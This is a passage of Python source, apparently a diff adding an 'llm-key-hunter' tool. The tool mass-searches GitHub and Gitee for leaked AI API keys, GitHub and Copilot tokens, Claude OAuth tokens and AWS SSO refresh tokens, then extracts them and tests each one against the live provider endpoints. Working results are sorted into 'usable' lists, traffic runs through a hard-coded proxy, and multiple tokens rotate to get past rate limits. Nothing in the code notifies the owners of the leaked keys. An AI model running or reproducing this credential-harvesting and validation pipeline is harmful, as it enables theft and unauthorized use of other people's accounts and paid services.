3. Endpoint URL + extension (catches config near API calls)
4. Model name + extension (catches config near model usage)
"""
queries = []
# 1. Key prefix searches — only in code-like files
code_exts = ["env", "py", "js", "ts", "sh", "cfg", "ini", "ipynb",
"yaml", "yml", "json", "toml", "tf", "go", "rs", "rb"]
for prefix in KEY_PREFIXES:
for ext in code_exts:
queries.append(f"{prefix} extension:{ext}")
# 2. Env var searches — in all file types
all_exts = code_exts + ["lua", "java", "kt", "php"]
for var in ENV_VARS:
for ext in all_exts:
queries.append(f"{var} extension:{ext}")
# 3. Endpoint URL searches — in code files
for url in ENDPOINT_URLS:
for ext in ["py", "js", "ts", "env", "yaml", "yml", "json", "toml", "ipynb"]:
queries.append(f"{url} extension:{ext}")
# 4. Model name searches — in config/code files
for model in MODEL_NAMES:
for ext in ["py", "js", "ts", "env", "yaml", "yml", "json", "ipynb"]:
queries.append(f"{model} extension:{ext}")
# 5. Language-specific patterns
# process.env in JS/TS
for var in ["OPENAI_API_KEY", "ANTHROPIC_API_KEY", "GOOGLE_API_KEY",
"GROQ_API_KEY", "HUGGINGFACE_TOKEN", "DEEPSEEK_API_KEY"]:
queries.append(f"process.env.{var} extension:js")
queries.append(f"process.env.{var} extension:ts")
# os.environ in Python
for var in ["OPENAI_API_KEY", "ANTHROPIC_API_KEY", "GOOGLE_API_KEY",
"GROQ_API_KEY", "DEEPSEEK_API_KEY", "DASHSCOPE_API_KEY",
"ARK_API_KEY", "ZHIPUAI_API_KEY"]:
queries.append(f"os.environ {var} extension:py")
queries.append(f"os.getenv {var} extension:py")
# Dockerfile ENV patterns
for var in ["OPENAI_API_KEY", "ANTHROPIC_API_KEY", "GOOGLE_API_KEY",
"GROQ_API_KEY", "DEEPSEEK_API_KEY", "ARK_API_KEY",
"DASHSCOPE_API_KEY", "ZHIPUAI_API_KEY"]:
queries.append(f"ENV {var} extension:Dockerfile")
queries.append(f"ARG {var} extension:Dockerfile")
# CI/CD secret patterns
for var in ["OPENAI_API_KEY", "ANTHROPIC_API_KEY", "GOOGLE_API_KEY",
"DEEPSEEK_API_KEY", "ARK_API_KEY"]:
queries.append(f"secrets.{var} extension:yml")
queries.append(f"secrets.{var} extension:yaml")
return queries
def gen_filename_queries():
"""Generate filename-based searches — find high-value config files."""
queries = []
for fname in HOT_FILENAMES:
# Search for the filename itself — these files often contain keys
queries.append(f"filename:{fname}")
return queries
def gen_commit_queries():
"""Generate commit message search queries.
Keys are sometimes accidentally committed in commit messages.
Uses search/commits API.
"""
queries = []
for prefix in KEY_PREFIXES:
queries.append(prefix)
for var in ["OPENAI_API_KEY", "ANTHROPIC_API_KEY", "GOOGLE_API_KEY",
"DEEPSEEK_API_KEY", "ARK_API_KEY", "DASHSCOPE_API_KEY"]:
queries.append(var)
return queries
# ═══════════════════════════════════════════════════════════════
# GitHub API Client
# ═══════════════════════════════════════════════════════════════
class GitHubSearcher:
"""GitHub search client with rate-limit awareness and token rotation."""
def __init__(self, tokens=None, per_page=100, verbose=True):
self.tokens = tokens or [os.environ.get("GH_TOKEN", "")]
self.tokens = [t for t in self.tokens if t]
if not self.tokens:
print("ERROR: No GitHub tokens provided. Set GH_TOKEN env var or use --token.")
sys.exit(1)
self._token_idx = 0
self.per_page = per_page
self.verbose = verbose
self._rate_remaining = 30
self._rate_reset = 0
def _next_token(self):
"""Rotate to the next token."""
self._token_idx = (self._token_idx + 1) % len(self.tokens)
return self.tokens[self._token_idx]
def _current_token(self):
return self.tokens[self._token_idx]
def _api(self, endpoint, params=None):
"""Call GitHub API with rate-limit handling and token rotation.
Returns (data, error). On rate limit, waits and retries.
"""
import urllib.parse
url = f"https://api.github.com/{endpoint}"
if params:
url += "?" + urllib.parse.urlencode(params)
for attempt in range(len(self.tokens) * 2):
token = self._current_token()
req = urllib.request.Request(url, headers={
"Authorization": f"token {token}",
"Accept": "application/vnd.github+json",
"User-Agent": "llm-key-hunter/2.0",
})
try:
with urllib.request.urlopen(req, timeout=30) as resp:
# Track rate limit from headers
remaining = resp.headers.get("X-RateLimit-Remaining")
reset = resp.headers.get("X-RateLimit-Reset")
if remaining:
self._rate_remaining = int(remaining)
if reset:
self._rate_reset = int(reset)
return json.loads(resp.read()), None
except urllib.error.HTTPError as e:
if e.code == 403:
# Rate limited or forbidden
remaining = e.headers.get("X-RateLimit-Remaining", "0")
reset = e.headers.get("X-RateLimit-Reset", "0")
if remaining == "0" and reset:
wait = int(reset) - int(time.time()) + 2
if wait > 0 and wait < 3600:
if self.verbose:
print(f" [rate-limit] Waiting {wait}s for reset...")
time.sleep(wait)
continue
# Try rotating token
self._next_token()
continue
elif e.code == 422:
# Unprocessable — bad query, skip
return None, f"422: {e.read()[:200]}"
else:
return None, f"HTTP {e.code}"
except Exception as e:
return None, str(e)
return None, "Exhausted all tokens + retries"
def search_code(self, query, max_results=1000):
"""Search GitHub code. Returns list of candidate dicts."""
results = []
page = 1
while len(results) < max_results:
data, err = self._api("search/code", {
"q": query,
"per_page": self.per_page,
"page": page,
})
if err:
if self.verbose and "422" not in str(err):
print(f" [error] {err}")
break
items = data.get("items", [])
if not items:
break
for item in items:
results.append({
"repository": {"full_name": item["repository"]["full_name"]},
"path": item["path"],
"url": item["html_url"],
})
if len(items) < self.per_page:
break
page += 1
# Be nice to the API
if self._rate_remaining < 5:
wait = max(self._rate_reset - int(time.time()) + 2, 2)
if self.verbose:
print(f" [rate-limit] {self._rate_remaining} left, waiting {wait}s...")
time.sleep(min(wait, 120))
else:
time.sleep(0.2)
return results
def search_commits(self, query, max_results=500):
"""Search GitHub commit messages for key patterns."""
results = []
data, err = self._api("search/commits", {
"q": query,
"per_page": min(self.per_page, 100),
})
if err:
return []
for item in data.get("items", []):
repo = item.get("repository", {})
results.append({
"repository": {"full_name": repo.get("full_name", "")},
"path": "(commit message)",
"url": item.get("html_url", ""),
})
return results
def search_repos_by_topic(self, topic, max_results=100):
"""Find repos by topic for targeted scanning."""
data, err = self._api("search/repositories", {
"q": f"topic:{topic}",
"per_page": min(max_results, 100),
"sort": "updated",
})
if err:
return []
return [item["full_name"] for item in data.get("items", [])]
# ═══════════════════════════════════════════════════════════════
# Gitee Search (Chinese GitHub mirror)
# ═══════════════════════════════════════════════════════════════
def gitee_search(query, token=None, max_results=100):
"""Search Gitee.com for key patterns. Returns candidate dicts."""
import urllib.parse
url = f"https://gitee.com/api/v5/search/code?q={urllib.parse.quote(query)}&per_page=20"
headers = {"User-Agent": "llm-key-hunter/2.0"}
if token:
url += f"&access_token={token}"
req = urllib.request.Request(url, headers=headers)
try:
with urllib.request.urlopen(req, timeout=15) as resp:
items = json.loads(resp.read())
return [{
"repository": {"full_name": f"gitee:{item.get('repository', {}).get('full_name', '')}"},
"path": item.get("path", ""),
"url": item.get("html_url", ""),
} for item in items[:max_results]]
except Exception:
return []
# ═══════════════════════════════════════════════════════════════
# Main Pipeline
# ═══════════════════════════════════════════════════════════════
def main():
parser = argparse.ArgumentParser(
description="GitHub search engine for LLM API key leaks")
parser.add_argument("--token", action="append", default=[],
help="GitHub token (can repeat for multi-token rotation)")
parser.add_argument("--gitee-token", default=None,
help="Gitee API token for Chinese mirror search")
parser.add_argument("--output", default=str(CANDIDATES_FILE),
help="Output candidates JSON file")
parser.add_argument("--no-commits", action="store_true",
help="Skip commit message search")
parser.add_argument("--no-filenames", action="store_true",
help="Skip filename-based search")
parser.add_argument("--no-gitee", action="store_true",
help="Skip Gitee search")
parser.add_argument("--no-topics", action="store_true",
help="Skip topic-based repo discovery")
parser.add_argument("--max-results", type=int, default=1000,
help="Max results per query (default: 1000)")
parser.add_argument("--verbose", "-v", action="store_true", default=True)
parser.add_argument("--resume", action="store_true",
help="Resume from checkpoint file")
args = parser.parse_args()
# Collect tokens
tokens = args.token or []
env_token = os.environ.get("GH_TOKEN", "")
if env_token and env_token not in tokens:
tokens.append(env_token)
if not tokens:
print("ERROR: No GitHub tokens. Use --token or set GH_TOKEN env var.")
sys.exit(1)
searcher = GitHubSearcher(tokens=tokens, verbose=args.verbose)
# Generate queries
code_queries = gen_code_queries()
filename_queries = gen_filename_queries() if not args.no_filenames else []
commit_queries = gen_commit_queries() if not args.no_commits else []
total_queries = len(code_queries) + len(filename_queries) + len(commit_queries)
print(f"Generated {total_queries} queries:")
print(f" Code search: {len(code_queries)}")
print(f" Filename search: {len(filename_queries)}")
print(f" Commit search: {len(commit_queries)}")
print(f" Tokens: {len(tokens)}")
print()
all_candidates = {} # url -> candidate (dedup by URL)
processed = 0
start_idx = 0
# ── Checkpoint / resume ──────────────────────────────────────
checkpoint_path = Path(args.output).with_suffix(".checkpoint.json")
progress_path = Path(args.output).with_suffix(".progress.json")
def save_checkpoint(proc):
ckpt = sorted(all_candidates.values(),
key=lambda c: c["repository"]["full_name"])
with open(checkpoint_path, "w") as f:
json.dump(ckpt, f)
with open(progress_path, "w") as f:
json.dump({"processed": proc, "candidates": len(all_candidates)}, f)
if args.resume and checkpoint_path.exists():
with open(checkpoint_path) as f:
for c in json.load(f):
all_candidates[c["url"]] = c
if progress_path.exists():
with open(progress_path) as f:
start_idx = json.load(f).get("processed", 0)
else:
# Legacy checkpoint (written at processed % 50 == 0, before that query ran)
start_idx = 50
processed = start_idx
print(f"Resumed: {len(all_candidates)} candidates, skipping first {start_idx} queries")
# ── Code search ──────────────────────────────────────────────
print("=== Phase 1: Code Search ===")
for i, query in enumerate(code_queries):
if i < start_idx:
continue
processed = i + 1
if processed % 50 == 0:
print(f" [{processed}/{total_queries}] {len(all_candidates)} candidates so far")
save_checkpoint(processed)
results = searcher.search_code(query, max_results=args.max_results)
for r in results:
if r["url"] not in all_candidates:
all_candidates[r["url"]] = r
# ── Filename search ──────────────────────────────────────────
if filename_queries:
print(f"\n=== Phase 2: Filename Search ===")
for query in filename_queries:
processed += 1
results = searcher.search_code(query, max_results=args.max_results)
for r in results:
if r["url"] not in all_candidates:
all_candidates[r["url"]] = r
print(f" {len(all_candidates)} total candidates after filename search")
# ── Commit search ────────────────────────────────────────────
if commit_queries:
print(f"\n=== Phase 3: Commit Message Search ===")
for query in commit_queries:
processed += 1
results = searcher.search_commits(query)
for r in results:
if r["url"] not in all_candidates:
all_candidates[r["url"]] = r
print(f" {len(all_candidates)} total candidates after commit search")
# ── Gitee search ─────────────────────────────────────────────
if not args.no_gitee:
print(f"\n=== Phase 4: Gitee Search ===")
gitee_queries = KEY_PREFIXES + ["OPENAI_API_KEY", "ANTHROPIC_API_KEY",
"DASHSCOPE_API_KEY", "ARK_API_KEY"]
for query in gitee_queries:
results = gitee_search(query, token=args.gitee_token)
for r in results:
if r["url"] not in all_candidates:
all_candidates[r["url"]] = r
print(f" {len(all_candidates)} total candidates after Gitee search")
# ── Topic-based repo discovery ───────────────────────────────
if not args.no_topics:
print(f"\n=== Phase 5: Topic-based Repo Discovery ===")
topic_repos = set()
for topic in GH_TOPICS:
repos = searcher.search_repos_by_topic(topic)
topic_repos.update(repos)
print(f" Found {len(topic_repos)} repos by topic")
# For each repo, search for key patterns in code
for repo in sorted(topic_repos):
for prefix in KEY_PREFIXES[:5]: # Top 5 prefixes only
query = f"{prefix} repo:{repo}"
results = searcher.search_code(query, max_results=100)
for r in results:
if r["url"] not in all_candidates:
all_candidates[r["url"]] = r
print(f" {len(all_candidates)} total candidates after topic search")
# ── Write output ─────────────────────────────────────────────
candidates = sorted(all_candidates.values(),
key=lambda c: c["repository"]["full_name"])
output_path = Path(args.output)
output_path.parent.mkdir(parents=True, exist_ok=True)
with open(output_path, "w") as f:
json.dump(candidates, f, indent=2)
# Clean up checkpoint
if checkpoint_path.exists():
checkpoint_path.unlink()
if progress_path.exists():
progress_path.unlink()
print(f"\n=== Done! ===")
print(f" Total queries: {processed}")
print(f" Candidates: {len(candidates)}")
print(f" Output: {output_path}")
if __name__ == "__main__":
main()
@@ -0,0 +1,776 @@
#!/usr/bin/env python3
"""Hunt leaked AI-tooling credential files on GitHub.
Broad net for credential files of AI coding assistants / SDKs that devs
accidentally commit. For each kind we search GitHub, fetch the raw file, extract
credentials, then verify them against the real endpoint.
Targets:
* codeium : .codeium/config.json (apiKey UUID) -> api.codeium.com
* copilot : github-copilot hosts.json/apps.json (gho_/ghu_/ghp_/ghs_) -> api.github.com
* claude : .claude/.credentials.json / .claude.json (sk-ant- or OAuth) -> api.anthropic.com
* aws-sso : ~/.aws/sso/cache/*.json (refreshToken + clientId/Secret) -> oidc.us-east-1.amazonaws.com
* cline : claude-dev settings/*.json (apiKey per provider)
* continue : .continue/config.json (apiKey per provider)
* generic-env: ANTHROPIC_API_KEY / OPENROUTER_API_KEY / CODEIUM_API_KEY ...
GitHub is GFW-blocked from this host; all GitHub traffic routes via GH_PROXY.
Verification of each provider is direct unless blocked (handled per provider).
Outputs results/ai_tools/<tool>/{usable,dead,no_access,unknown,all.txt}.
"""
import argparse, base64, json, os, re, subprocess, sys, time, uuid
import urllib.request, urllib.error, urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
HERE = Path(__file__).parent
sys.path.insert(0, str(HERE))
from verify_cache import CachedVerifier
from content_cache import ContentCache, parse_raw_url
RESULTS = HERE / "results" / "ai_tools"
RESULTS.mkdir(parents=True, exist_ok=True)
GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389")
UA = "curl/8.5.0"
def _mkopener(proxy):
if proxy:
return urllib.request.build_opener(
urllib.request.ProxyHandler({"http": proxy, "https": proxy}))
return urllib.request.build_opener(urllib.request.ProxyHandler({}))
_gh_op = None
def gh_opener():
global _gh_op
if _gh_op is None:
_gh_op = _mkopener(GH_PROXY)
return _gh_op
_dir_op = None
def direct_opener():
global _dir_op
if _dir_op is None:
_dir_op = _mkopener(None)
return _dir_op
def github_token():
t = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
if t:
return t
try:
o = subprocess.run(["gh", "auth", "token"], capture_output=True,
text=True, timeout=10)
if o.returncode == 0:
return o.stdout.strip()
except FileNotFoundError:
pass
p = Path.home() / ".config/gh/hosts.yml"
if p.exists():
for line in p.read_text().splitlines():
if line.strip().startswith("oauth_token:"):
return line.split(":", 1)[1].strip()
return None
def http_get(url, token=None, timeout=25, direct=False, headers=None):
h = {"User-Agent": UA, "Accept": "*/*"}
if token:
h["Authorization"] = f"Bearer {token}"
if headers:
h.update(headers)
req = urllib.request.Request(url, headers=h)
op = direct_opener() if direct else gh_opener()
try:
with op.open(req, timeout=timeout) as r:
return r.getcode(), r.read().decode("utf-8", "replace"), dict(r.headers)
except urllib.error.HTTPError as e:
try:
body = e.read().decode("utf-8", "replace")
except Exception:
body = ""
return e.code, body, dict(e.headers or {})
except Exception as e:
return 0, f"net:{type(e).__name__}:{e}", {}
def http_post(url, body, headers, timeout=25, direct=False):
h = {"User-Agent": UA, "Accept": "*/*",
"Content-Type": "application/json", **headers}
data = body if isinstance(body, bytes) else json.dumps(body).encode()
req = urllib.request.Request(url, data=data, headers=h, method="POST")
op = direct_opener() if direct else gh_opener()
try:
with op.open(req, timeout=timeout) as r:
return r.getcode(), r.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
try:
return e.code, e.read().decode("utf-8", "replace")
except Exception:
return e.code, ""
except Exception as e:
return 0, f"net:{type(e).__name__}:{e}"
def gh_search(query, token, per_page=100):
for page in range(1, 11):
url = ("https://api.github.com/search/code?"
f"q={urllib.parse.quote(query)}&per_page={per_page}&page={page}")
code, body, hdrs = http_get(url, token, direct=False)
if code == 200:
try:
data = json.loads(body)
except Exception:
return
items = data.get("items", [])
for it in items:
yield it
if len(items) < per_page:
return
time.sleep(2.2)
elif code in (403, 429):
reset = hdrs.get("X-RateLimit-Reset")
wait = max(int(reset) - int(time.time()), 5) if reset else 30
print(f" rate-limited {wait}s", file=sys.stderr, flush=True)
time.sleep(wait + 1)
elif code == 422:
return
else:
print(f" search {code} for {query!r}", file=sys.stderr)
return
# ----------------------------- extraction ---------------------------------
# Each extractor takes raw file text and yields (cred, detail_dict)
CODEIUM_UUID = re.compile(r"[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}")
GH_TOKEN = re.compile(r"gh[opsu]_[A-Za-z0-9_]{20,255}")
SKANT = re.compile(r"sk-ant-[A-Za-z0-9_\-]{20,255}")
SKOAI = re.compile(r"sk-[A-Za-z0-9]{20,80}")
ENV_KEY = re.compile(r'\b([A-Z0-9_]*API_KEY|[A-Z0-9_]*TOKEN)\s*[:=]\s*["\']?([A-Za-z0-9_\-\.]{12,255})')
def extract_codeium(text):
# .codeium/config.json -> { "apiKey": "<uuid>" }
try:
j = json.loads(text)
ak = j.get("apiKey")
if isinstance(ak, str) and CODEIUM_UUID.search(ak):
yield ak, {"source": "config.json"}
# VS Code settings: { "codeium.apiKey": "<uuid>" }
if isinstance(j, dict):
for k, v in j.items():
if isinstance(k, str) and "codeium" in k.lower() and "apikey" in k.lower():
if isinstance(v, str) and CODEIUM_UUID.search(v):
yield v, {"source": f"settings:{k}"}
except Exception:
pass
# generic CODEIUM_API_KEY=...
for m in re.finditer(r'CODEIUM(?:_API)?_KEY\s*[:=]\s*["\']?([0-9a-fA-F\-]{36})', text):
yield m.group(1), {"source": "env"}
# "apiKey": "<uuid>" anywhere in a file that mentions codeium
if "codeium" in text.lower():
for m in re.finditer(r'"apiKey"\s*:\s*"([0-9a-fA-F\-]{36})"', text):
yield m.group(1), {"source": "inline-apikey"}
def extract_copilot(text):
# hosts.json: { "github.com": { "oauthToken": "gho_..." } }
# apps.json has oauth_token fields
try:
j = json.loads(text)
if isinstance(j, dict):
for _host, v in j.items():
if isinstance(v, dict):
for k in ("oauthToken", "oauth_token", "token", "accessToken"):
t = v.get(k)
if isinstance(t, str) and t.startswith(("gho_", "ghu_", "ghp_", "ghs_")):
yield t, {"field": k, "host": _host}
except Exception:
pass
for m in GH_TOKEN.finditer(text):
yield m.group(0), {"field": "regex"}
def _looks_like_secret(s):
"""Reject i18n strings, placeholder text, and non-ASCII junk."""
if not isinstance(s, str):
return False
if len(s) < 30:
return False
# only printable ASCII for header-bound tokens
if any(ord(c) > 127 for c in s):
return False
low = s.lower()
bad = ("your_api_key", "replace_with", "placeholder", "please enter",
"sk-ant-your", "xxx", "changeme", "paste ", "fill in", "api key",
"{{", "}}", "select ", "leave blank", "optional", "http://", "https://")
if any(b in low for b in bad):
return False
return True
def extract_claude(text):
# .claude/.credentials.json: { "claudeAiOauthToken": "eyJ..." }
try:
j = json.loads(text)
if isinstance(j, dict):
for k, v in j.items():
if isinstance(v, str) and ("token" in k.lower() or "key" in k.lower()):
if (v.startswith("sk-ant") or v.startswith("eyJ")) and _looks_like_secret(v):
yield v, {"field": k}
if isinstance(v, dict):
for k2, v2 in v.items():
if isinstance(v2, str) and ("token" in k2.lower() or "key" in k2.lower()):
if (v2.startswith("sk-ant") or v2.startswith("eyJ")) and _looks_like_secret(v2):
yield v2, {"field": f"{k}.{k2}"}
except Exception:
pass
for m in SKANT.finditer(text):
v = m.group(0)
if _looks_like_secret(v):
yield v, {"field": "sk-ant"}
# OAuth bearer tokens: base64 JWTs (eyJ...) of realistic length
for m in re.finditer(r"eyJ[A-Za-z0-9_\-]{30,}\.[A-Za-z0-9_\-]{10,}\.[A-Za-z0-9_\-]{10,}", text):
v = m.group(0)
if 100 < len(v) < 4000:
yield v, {"field": "oauth-jwt"}
def extract_aws_sso(text):
# ~/.aws/sso/cache/*.json: { startUrl, region, accessToken, expiresAt,
# clientId, clientSecret, refreshToken, registrationExpiresAt }
# Distinguish real AWS SSO from generic OAuth templates/configs.
try:
j = json.loads(text)
if not isinstance(j, dict):
return
rt = j.get("refreshToken")
cid = j.get("clientId")
cs = j.get("clientSecret")
start = j.get("startUrl", "")
if not (isinstance(rt, str) and isinstance(cid, str) and isinstance(cs, str)):
return
# Real AWS SSO cache markers
if "amazonaws.com" not in str(start) and not str(start).startswith("https://"):
# still allow if clientId looks like the SSO-registered UUID-ish form
pass
# Reject placeholders / generic OAuth
bad = ("your_", "replace", "example", "xxxx", "client id", "client secret",
"spotify", "reddit", "<", ">", "*")
blob = " ".join([str(rt), str(cid), str(cs)]).lower()
if any(b in blob for b in bad):
return
# AWS SSO clientId is a 32-hex-char value; refreshToken is long base64
if not re.fullmatch(r"[0-9a-fA-F]{32}", cid or ""):
return
if len(rt) < 50 or len(cs) < 20:
return
yield j, {
"clientId": cid,
"clientSecret": cs,
"region": j.get("region", "us-east-1"),
"startUrl": start,
"expiresAt": j.get("expiresAt"),
}
except Exception:
pass
def _valid_api_key(v):
if not isinstance(v, str):
return False
if len(v) < 20:
return False
if any(ord(c) > 127 for c in v):
return False
low = v.lower()
bad = ("your_api", "replace_", "placeholder", "sk-your", "sk-ant-your",
"xxxx", "changeme", "paste-", "fill in", "example", "get it at",
"create one", "{{", "}}", "<", ">", "api_key", "api key", "null",
"undefined", "todo", "delete this")
if any(b in low for b in bad):
return False
return True
def extract_cline(text):
# Cline: { "apiProvider": "...", "apiKey": "sk-...", "clineApiKey": "..." }
try:
j = json.loads(text)
if isinstance(j, dict):
prov = j.get("apiProvider") or j.get("provider") or "?"
for k, v in j.items():
if isinstance(v, str) and ("apiKey" in k or "ApiKey" in k):
if _valid_api_key(v):
yield v, {"provider": prov, "field": k}
for k, v in j.items():
if isinstance(v, dict):
for k2, v2 in v.items():
if isinstance(v2, str) and ("apiKey" in k2 or "ApiKey" in k2):
if _valid_api_key(v2):
yield v2, {"provider": prov, "field": f"{k}.{k2}"}
except Exception:
pass
def extract_continue(text):
# .continue/config.json: { "models": [ { "apiKey": "..." } ] }
try:
j = json.loads(text)
if isinstance(j, dict):
for m in j.get("models", []):
if isinstance(m, dict):
key = m.get("apiKey") or m.get("api_key")
if _valid_api_key(key):
yield key, {"model": m.get("model") or m.get("title"),
"provider": m.get("provider")}
for k, v in j.items():
if isinstance(v, str) and "apiKey" in k and _valid_api_key(v):
yield v, {"field": k}
if isinstance(v, dict):
key = v.get("apiKey")
if _valid_api_key(key):
yield key, {"field": k}
except Exception:
pass
def extract_generic_env(text):
for m in ENV_KEY.finditer(text):
name, val = m.group(1), m.group(2)
if val.lower() in ("your_key_here", "changeme", "placeholder", "xxx", "none"):
continue
if val.startswith(("sk-", "gh", "r8_", "nk-", "gsk_", "sk-ant")) or len(val) > 25:
yield val, {"env": name}
# ----------------------------- verification -------------------------------
# Each verifier returns (verdict, detail). Verdict in USABLE/DEAD/NO_ACCESS/
# NO_BALANCE/UNKNOWN. ONLY 401 => DEAD; everything non-401 is kept.
def verify_codeium(key):
# Codeium register/metrics endpoint; a registered UUID returns 200/404-ish,
# an invalid key returns 401/403. POST to register_user with the apiKey.
body = {"api_key": key, "ide_name": "vscode", "ide_version": "1.0.0",
"extension_version": "1.0.0", "device_id": str(uuid.uuid4())}
code, txt = http_post("https://api.codeium.com/register_user/", body,
{"User-Agent": "codeium-vscode"}, direct=True)
if code == 200:
return "USABLE", f"register_user 200: {txt[:80]}"
if code in (401, 403):
# Codeium returns 403 for bad key, 401 sometimes too. Per rules only 401=DEAD.
if code == 401:
return "DEAD", f"{code} {txt[:80]}"
return "NO_ACCESS", f"{code} {txt[:80]}"
if code in (402, 429):
return "NO_BALANCE", f"{code} {txt[:80]}"
if code == 0:
return "UNKNOWN", txt[:100]
return "NO_ACCESS", f"HTTP {code}: {txt[:80]}"
def verify_copilot(token):
# GitHub token validity: GET /user (401 bad). For copilot, also check the
# copilot token entitlement endpoint.
code, txt, _ = http_get("https://api.github.com/user", token=token, direct=True)
if code == 401:
return "DEAD", "401 bad credentials"
if code != 200:
if code == 0:
return "UNKNOWN", txt[:100]
return "NO_ACCESS", f"user HTTP {code}: {txt[:60]}"
try:
who = json.loads(txt).get("login", "?")
except Exception:
who = "?"
# copilot entitlement
code2, txt2, _ = http_get("https://api.github.com/copilot_internal/v2/token",
token=token, direct=True)
if code2 == 200:
try:
j = json.loads(txt2)
exp = j.get("expires_at") or j.get("exp")
return "USABLE", f"github user={who}; copilot token issued (exp={exp})"
except Exception:
return "USABLE", f"github user={who}; copilot 200"
if code2 in (401,):
return "DEAD", f"github ok but copilot 401"
# 404/403 means no copilot subscription but the token itself is valid
return "NO_ACCESS", f"github user={who}; copilot HTTP {code2}: {txt2[:60]}"
def verify_claude(cred):
# Could be sk-ant-... or an OAuth token.
if cred.startswith("sk-ant"):
code, txt = http_post("https://api.anthropic.com/v1/messages",
{"model": "claude-3-5-haiku-20241022", "max_tokens": 4,
"messages": [{"role": "user", "content": "hi"}]},
{"x-api-key": cred,
"anthropic-version": "2023-06-01"}, direct=True)
if code in (200, 400):
return "USABLE", f"anthropic {code}: {txt[:80]}"
if code in (401,):
return "DEAD", f"{code} {txt[:80]}"
if code in (402, 429):
return "NO_BALANCE", f"{code} {txt[:80]}"
if code == 403:
return "NO_ACCESS", f"{code} {txt[:80]}"
if code == 0:
return "UNKNOWN", txt[:100]
return "NO_ACCESS", f"HTTP {code}: {txt[:80]}"
# OAuth token: use it as Bearer against the Claude console-ish endpoint.
# Best check: GET https://api.anthropic.com/api/oauth/claude_api_key (401 if bad)
code, txt, _ = http_get("https://api.anthropic.com/api/oauth/claude_api_key",
token=cred, direct=True)
if code == 200:
return "USABLE", f"oauth 200: {txt[:80]}"
if code == 401:
return "DEAD", f"oauth 401 {txt[:60]}"
if code in (402, 429):
return "NO_BALANCE", f"{code} {txt[:60]}"
if code == 0:
return "UNKNOWN", txt[:100]
return "NO_ACCESS", f"HTTP {code}: {txt[:60]}"
def verify_aws_sso(blob, detail):
# Try to exchange the SSO refresh token via the OIDC token endpoint.
# This is the AWS SSO OIDC flow: CreateToken with grantType=refresh_token.
region = detail.get("region", "us-east-1")
url = f"https://oidc.{region}.amazonaws.com/token"
body = {"grantType": "refresh_token", "clientId": detail["clientId"],
"clientSecret": detail["clientSecret"],
"refreshToken": blob["refreshToken"]}
code, txt = http_post(url, body,
{"Content-Type": "application/json",
"User-Agent": "aws-sdk-js/2.0"}, direct=True, timeout=25)
if code == 200:
try:
j = json.loads(txt)
return "USABLE", f"SSO token refreshed; accessToken len={len(j.get('accessToken',''))}"
except Exception:
return "USABLE", f"SSO 200: {txt[:60]}"
if code in (400, 401):
# 400 invalid_grant => token dead; treat as DEAD only if 401 per rules,
# but invalid_grant 400 is also effectively dead. Keep rule: 401=DEAD, 400=NO_ACCESS.
if code == 401:
return "DEAD", f"{code} {txt[:80]}"
return "NO_ACCESS", f"{code} {txt[:80]}"
if code in (403,):
return "NO_ACCESS", f"{code} {txt[:80]}"
if code in (402, 429):
return "NO_BALANCE", f"{code} {txt[:80]}"
if code == 0:
return "UNKNOWN", txt[:100]
return "NO_ACCESS", f"HTTP {code}: {txt[:80]}"
def verify_openai_like(key):
# generic: try /v1/models as a validity probe. 401 = dead, 200/403/429 kept.
code, txt, _ = http_get("https://api.openai.com/v1/models", token=key, direct=True)
if code == 200:
return "USABLE", "openai /v1/models 200"
if code == 401:
return "DEAD", "401"
if code in (403, 404, 429, 402):
if code in (402, 429):
return "NO_BALANCE", f"HTTP {code}"
return "NO_ACCESS", f"HTTP {code}"
if code == 0:
return "UNKNOWN", txt[:80]
return "NO_ACCESS", f"HTTP {code}"
# ----------------------------- tool config -------------------------------
# kind -> (queries, extractor, verifier, result_subdir)
TOOLS = {
"codeium": {
"queries": [
'path:.codeium filename:config.json',
'.codeium config.json apiKey',
'filename:config.json "apiKey" "codeium"',
'CODEIUM_API_KEY',
'"codeium.checkoutEndpoint" extension:json',
'"codeium.telemetry.enabled" "apiKey" extension:json',
'"Codeium.apiKey" extension:json',
],
"extract": extract_codeium,
"verify": verify_codeium,
},
"copilot": {
"queries": [
'filename:hosts.json github.com oauthToken',
'filename:apps.json oauth_token copilot',
'"github.copilot" oauthToken extension:json',
'copilot-gpt-token apiKey',
'"vscode-github" "token" extension:json',
],
"extract": extract_copilot,
"verify": verify_copilot,
},
"claude": {
"queries": [
'filename:.credentials.json anthropic',
'claudeAiOauthToken extension:json',
'".claude" "credentials" extension:json',
'sk-ant-api03',
'ANTHROPIC_API_KEY sk-ant',
'".claude.json" "oauthToken"',
],
"extract": extract_claude,
"verify": verify_claude,
},
"aws-sso": {
"queries": [
'filename:sso cache refreshToken clientId extension:json',
'"refreshToken" "clientId" "clientSecret" extension:json',
'path:.aws/sso/cache extension:json',
'"oidc" "refreshToken" "clientSecret" extension:json',
'"startUrl" "refreshToken" "clientId" extension:json',
],
"extract": extract_aws_sso,
"verify": verify_aws_sso,
},
"cline": {
"queries": [
'"apiProvider" "apiKey" "claude-dev" extension:json',
'filename:cline_settings apiKey',
'"clineApiKey" extension:json',
'path:globalStorage saoudrizwan.claude-dev extension:json',
],
"extract": extract_cline,
"verify": verify_openai_like,
},
"continue": {
"queries": [
'filename:config.json ".continue" apiKey',
'"tabAutocompleteModel" "apiKey" extension:json',
'path:.continue config.json models apiKey',
],
"extract": extract_continue,
"verify": verify_openai_like,
},
"generic-env": {
"queries": [
'OPENROUTER_API_KEY sk-or-v1 extension:env',
'TOGETHER_API_KEY extension:env',
'FIREWORKS_API_KEY extension:env',
'GROQ_API_KEY gsk_ extension:env',
'ANTHROPIC_API_KEY sk-ant extension:env',
'CODESTRAL_API_KEY extension:env',
'GEMINI_API_KEY AIza extension:env',
'MISTRAL_API_KEY extension:env',
'DEEPSEEK_API_KEY sk- extension:env',
],
"extract": extract_generic_env,
"verify": verify_openai_like,
},
}
def to_raw(html_url):
return html_url.replace("github.com", "raw.githubusercontent.com").replace("/blob/", "/")
def fetch_raw(url, timeout=20):
try:
code, body, _ = http_get(url, direct=False, timeout=timeout,
headers={"User-Agent": "Mozilla/5.0"})
if code == 200:
return body
except Exception:
pass
return ""
